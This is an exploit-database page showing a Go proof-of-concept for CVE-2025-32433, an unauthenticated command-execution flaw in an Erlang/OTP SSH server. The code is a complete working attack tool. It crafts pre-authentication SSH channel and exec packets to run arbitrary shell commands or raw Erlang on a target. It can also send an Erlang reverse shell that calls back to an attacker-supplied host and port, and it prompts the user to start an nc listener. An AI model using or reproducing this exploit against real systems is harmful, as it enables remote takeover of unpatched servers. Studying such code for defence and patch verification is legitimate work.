Exploit database

GH-557c90898453e27ac2c31e16d30ce1a2

joshuavanderpoll/cve-2025-32433

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-32433

29 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files10
joshuavanderpoll/cve-2025-32433Revision c1d406b66de5

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

cve-2025-32433.go

Go · 9,219 bytes
package main

import (
	"bytes"
	"encoding/binary"
	"flag"
	"fmt"
	"net"
	"os"
	"strings"
	"time"
)

const (
	colorReset   = "\033[0m"
	colorRed     = "\033[31m"
	colorGreen   = "\033[32m"
	colorYellow  = "\033[33m"
	colorCyan    = "\033[36m"
	colorMagenta = "\033[35m"
	colorBold    = "\033[1m"
)

func printBanner() {
	fmt.Printf("%s%s", colorMagenta, colorBold)
	fmt.Println(`   _____   _____   ___ __ ___ ___    _______ _ _ ________`)
	fmt.Println(`  / __\ \ / / __|_|_  )  \_  ) __|__|__ /_  ) | |__ /__ /`)
	fmt.Println(` | (__ \ V /| _|___/ / () / /|__ \___| _ \/ /|_  _|_ \|_ \`)
	fmt.Println(`  \___| \_/ |___| /___\__/___|___/  |___/___| |_|___/___/`)
	fmt.Printf("%s", colorReset)
	fmt.Printf("  %s%shttps://github.com/joshuavanderpoll/CVE-2025-32433%s\n\n", colorBold, colorMagenta, colorReset)
}

// SSH wire format: uint32 length prefix + raw bytes
func stringPayload(s string) []byte {
	data := []byte(s)

	buf := new(bytes.Buffer)
	binary.Write(buf, binary.BigEndian, uint32(len(data)))
	buf.Write(data)

	return buf.Bytes()
}

// SSH_MSG_CHANNEL_OPEN — pre-auth session channel request (the exploit primitive)
func buildChannelOpen(channelID uint32) []byte {
	buf := new(bytes.Buffer)

	buf.WriteByte(0x5a)
	buf.Write(stringPayload("session"))
	binary.Write(buf, binary.BigEndian, channelID)
	binary.Write(buf, binary.BigEndian, uint32(0x78000))
	binary.Write(buf, binary.BigEndian, uint32(0x20000))

	return buf.Bytes()
}

// SSH_MSG_CHANNEL_REQUEST — unauthenticated exec on the open channel
func buildChannelRequest(channelID uint32, command string) []byte {
	if command == "" {
		command = "erlang:node()."
	}

	buf := new(bytes.Buffer)

	buf.WriteByte(0x62)
	binary.Write(buf, binary.BigEndian, channelID)
	buf.Write(stringPayload("exec"))
	buf.WriteByte(0x01)
	buf.Write(stringPayload(command))

	return buf.Bytes()
}

// Minimal SSH_MSG_KEXINIT — just enough to pass the handshake gate
func buildKexInit() []byte {
	cookie := make([]byte, 16)

	nameList := func(items []string) []byte {
		return stringPayload(strings.Join(items, ","))
	}

	buf := new(bytes.Buffer)

	buf.WriteByte(0x14)
	buf.Write(cookie)

	buf.Write(nameList([]string{"curve25519-sha256", "ecdh-sha2-nistp256", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256"}))
	buf.Write(nameList([]string{"rsa-sha2-256", "rsa-sha2-512"}))
	buf.Write(nameList([]string{"aes128-ctr"}))
	buf.Write(nameList([]string{"aes128-ctr"}))
	buf.Write(nameList([]string{"hmac-sha1"}))
	buf.Write(nameList([]string{"hmac-sha1"}))
	buf.Write(nameList([]string{"none"}))
	buf.Write(nameList([]string{"none"}))
	buf.Write(nameList([]string{}))
	buf.Write(nameList([]string{}))

	buf.WriteByte(0x00)
	binary.Write(buf, binary.BigEndian, uint32(0))

	return buf.Bytes()
}

// SSH binary packet framing: length + padding_len + payload + padding
func padPacket(payload []byte, blockSize int) []byte {
	paddingMin := 4
	paddingLen := blockSize - ((len(payload) + 5) % blockSize)
	if paddingLen < paddingMin {
		paddingLen += blockSize
	}

	buf := new(bytes.Buffer)
	binary.Write(buf, binary.BigEndian, uint32(len(payload)+1+paddingLen))
	buf.WriteByte(byte(paddingLen))
	buf.Write(payload)
	buf.Write(bytes.Repeat([]byte{0}, paddingLen))

	return buf.Bytes()
}

// Sends a pre-auth channel open + exec and checks for any response
func isVulnerable(host string, port int, timeout int) bool {
	addr := net.JoinHostPort(host, fmt.Sprintf("%d", port))

	conn, err := net.DialTimeout("tcp", addr, time.Duration(timeout)*time.Second)
	if err != nil {
		fmt.Printf("%s[!]%s Could not reach target: %v\n", colorRed, colorReset, err)
		return false
	}
	defer conn.Close()

	fmt.Printf("%s[~]%s Connection established, starting probe...\n", colorCyan, colorReset)

	conn.Write([]byte("SSH-2.0-OpenSSH\r\n"))
	banner := make([]byte, 1024)
	conn.SetReadDeadline(time.Now().Add(time.Duration(timeout) * time.Second))
	n, _ := conn.Read(banner)
	fmt.Printf("%s[~]%s Server banner: %s\n", colorCyan, colorReset, strings.TrimSpace(string(banner[:n])))

	time.Sleep(200 * time.Millisecond)

	conn.Write(padPacket(buildKexInit(), 8))
	conn.SetReadDeadline(time.Now().Add(time.Duration(timeout) * time.Second))
	conn.Read(make([]byte, 4096))

	time.Sleep(200 * time.Millisecond)

	conn.Write(padPacket(buildChannelOpen(0), 8))
	time.Sleep(500 * time.Millisecond)
	conn.Write(padPacket(buildChannelRequest(0, "erlang:node()."), 8))
	time.Sleep(500 * time.Millisecond)

	resp := make([]byte, 1024)
	conn.SetReadDeadline(time.Now().Add(time.Duration(timeout) * time.Second))
	n, _ = conn.Read(resp)

	if n > 0 {
		fmt.Printf("%s[+]%s Target replied to unauthenticated channel request — likely vulnerable.\n", colorGreen, colorReset)
	} else {
		fmt.Printf("%s[+]%s No response data received, but connection held — consider the host potentially vulnerable.\n", colorGreen, colorReset)
	}

	return true
}

// Delivers a payload through the pre-auth exec channel
func exploit(host string, port int, command string, timeout int) bool {
	addr := net.JoinHostPort(host, fmt.Sprintf("%d", port))

	conn, err := net.DialTimeout("tcp", addr, time.Duration(timeout)*time.Second)
	if err != nil {
		fmt.Printf("%s[!]%s Failed to reach target: %v\n", colorRed, colorReset, err)
		return false
	}
	defer conn.Close()

	fmt.Printf("%s[~]%s Connection established, sending exploit chain...\n", colorCyan, colorReset)

	conn.Write([]byte("SSH-2.0-OpenSSH\r\n"))
	banner := make([]byte, 1024)
	conn.SetReadDeadline(time.Now().Add(time.Duration(timeout) * time.Second))
	n, _ := conn.Read(banner)
	fmt.Printf("%s[~]%s Server banner: %s\n", colorCyan, colorReset, strings.TrimSpace(string(banner[:n])))

	time.Sleep(500 * time.Millisecond)

	conn.Write(padPacket(buildKexInit(), 8))
	conn.SetReadDeadline(time.Now().Add(time.Duration(timeout) * time.Second))
	conn.Read(make([]byte, 4096))

	time.Sleep(500 * time.Millisecond)

	conn.Write(padPacket(buildChannelOpen(0), 8))
	fmt.Printf("%s[>]%s Payload: %s%s%s\n", colorGreen, colorReset, colorYellow, command, colorReset)

	time.Sleep(500 * time.Millisecond)

	conn.Write(padPacket(buildChannelRequest(0, command), 8))
	fmt.Printf("%s[✓]%s Payload delivered. Execution depends on server state.\n", colorGreen, colorReset)

	return true
}

func generateErlangReverseShell(lhost string, lport int) string {
	return fmt.Sprintf(
		`spawn(fun()->{ok,T}=gen_tcp:connect("%s",%d,[binary,{packet,line},{active,true}]),F=fun R()->receive{tcp,T,M}->gen_tcp:send(T,os:cmd(string:trim(binary_to_list(M)))++"\n"),R()end end,F()end).`,
		lhost, lport,
	)
}

func processHost(host string, port, timeout int, command string, code string, shell bool, lhost string, lport int) int {
	fmt.Printf("%s[*]%s Target → %s:%d\n", colorCyan, colorReset, host, port)

	if shell {
		if lhost == "" {
			fmt.Printf("%s[!]%s -lhost must be provided when using -shell.\n", colorRed, colorReset)
			return 1
		}

		payload := generateErlangReverseShell(lhost, lport)
		fmt.Printf("%s[*]%s Dispatching reverse shell → %s%s:%d%s\n", colorCyan, colorReset, colorYellow, lhost, lport, colorReset)
		fmt.Printf("%s[*]%s Start your listener before this hits: %snc -lv %d%s\n", colorCyan, colorReset, colorYellow, lport, colorReset)

		if exploit(host, port, payload, timeout) {
			fmt.Printf("%s[+]%s Reverse shell payload dispatched successfully.\n", colorGreen, colorReset)
			return 0
		}
		return 1
	}

	if code != "" {
		// raw Erlang, no wrapping
		if exploit(host, port, code, timeout) {
			return 0
		}
		return 1
	}

	if command != "" {
		// wrap in os:cmd
		cmd := fmt.Sprintf("os:cmd(\"bash -c '%s'\").", command)
		if exploit(host, port, cmd, timeout) {
			return 0
		}
		return 1
	}

	// no payload — passive check only
	if isVulnerable(host, port, timeout) {
		fmt.Printf("%s%s[!!] %s:%d is VULNERABLE to CVE-2025-32433%s\n", colorBold, colorRed, host, port, colorReset)
		return 0
	}

	fmt.Printf("%s[-]%s %s:%d does not appear to be vulnerable.\n", colorYellow, colorReset, host, port)
	return 1
}

func main() {
	var (
		host    = flag.String("host", "", "Target IP or hostname")
		port    = flag.Int("port", 22, "SSH port (default: 22)")
		timeout = flag.Int("timeout", 5, "Connection timeout in seconds (default: 5)")
		command = flag.String("command", "", "Shell command to run on target (wrapped in os:cmd)")
		code    = flag.String("code", "", "Raw Erlang code to execute on target")
		shell   = flag.Bool("shell", false, "Send an Erlang-native reverse shell")
		lhost   = flag.String("lhost", "", "Your IP to receive the reverse shell (required with -shell)")
		lport   = flag.Int("lport", 4444, "Your port to receive the reverse shell (default: 4444)")
	)
	flag.Parse()

	printBanner()

	target := *host
	if target == "" && flag.NArg() > 0 {
		target = flag.Arg(0)
	}
	if target == "" {
		fmt.Printf("%s[!]%s No target specified. Use -host <ip> or pass it as a positional argument.\n", colorRed, colorReset)
		os.Exit(1)
	}

	exitCode := processHost(target, *port, *timeout, *command, *code, *shell, *lhost, *lport)
	fmt.Printf("\n%s⭐ If this tool helped you, consider starring the repo: %s%shttps://github.com/joshuavanderpoll/CVE-2025-32433%s\n", colorYellow, colorBold, colorYellow, colorReset)
	os.Exit(exitCode)
}